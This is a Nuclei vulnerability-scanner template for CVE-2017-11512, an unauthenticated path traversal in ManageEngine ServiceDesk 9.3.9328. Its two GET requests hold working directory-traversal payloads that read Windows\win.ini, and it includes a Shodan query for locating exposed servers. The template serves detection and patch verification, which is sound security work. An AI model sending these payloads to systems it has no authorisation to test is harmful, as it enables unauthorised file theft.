nuclei-templates/http/cves/2017/CVE-2017-11512.yaml

46 lines
1.6 KiB
YAML

id: CVE-2017-11512
info:
name: ManageEngine ServiceDesk 9.3.9328 - Arbitrary File Retrieval
author: 0x_Akoko
severity: high
description: |
ManageEngine ServiceDesk 9.3.9328 is vulnerable to an arbitrary file retrieval due to improper restrictions of the pathname used in the name parameter for the download-snapshot path. An unauthenticated remote attacker can use this vulnerability to download arbitrary files.
remediation: |
Upgrade to a patched version of ManageEngine ServiceDesk 9.3.9328 or apply the necessary security patches.
reference:
- https://exploit.kitploit.com/2017/11/manageengine-servicedesk-cve-2017-11512.html
- https://www.tenable.com/security/research/tra-2017-31
- https://nvd.nist.gov/vuln/detail/CVE-2017-11512
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2017-11512
cwe-id: CWE-22
epss-score: 0.97175
epss-percentile: 0.99714
cpe: cpe:2.3:a:manageengine:servicedesk:9.3.9328:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: manageengine
product: servicedesk
shodan-query: http.title:"ManageEngine"
tags: cve,cve2017,manageengine,lfr,unauth,tenable
http:
- method: GET
path:
- '{{BaseURL}}/fosagent/repl/download-file?basedir=4&filepath=..\..\Windows\win.ini'
- '{{BaseURL}}/fosagent/repl/download-snapshot?name=..\..\..\..\..\..\..\Windows\win.ini'
stop-at-first-match: true
matchers:
- type: word
part: body
words:
- "bit app support"
- "fonts"
- "extensions"
condition: and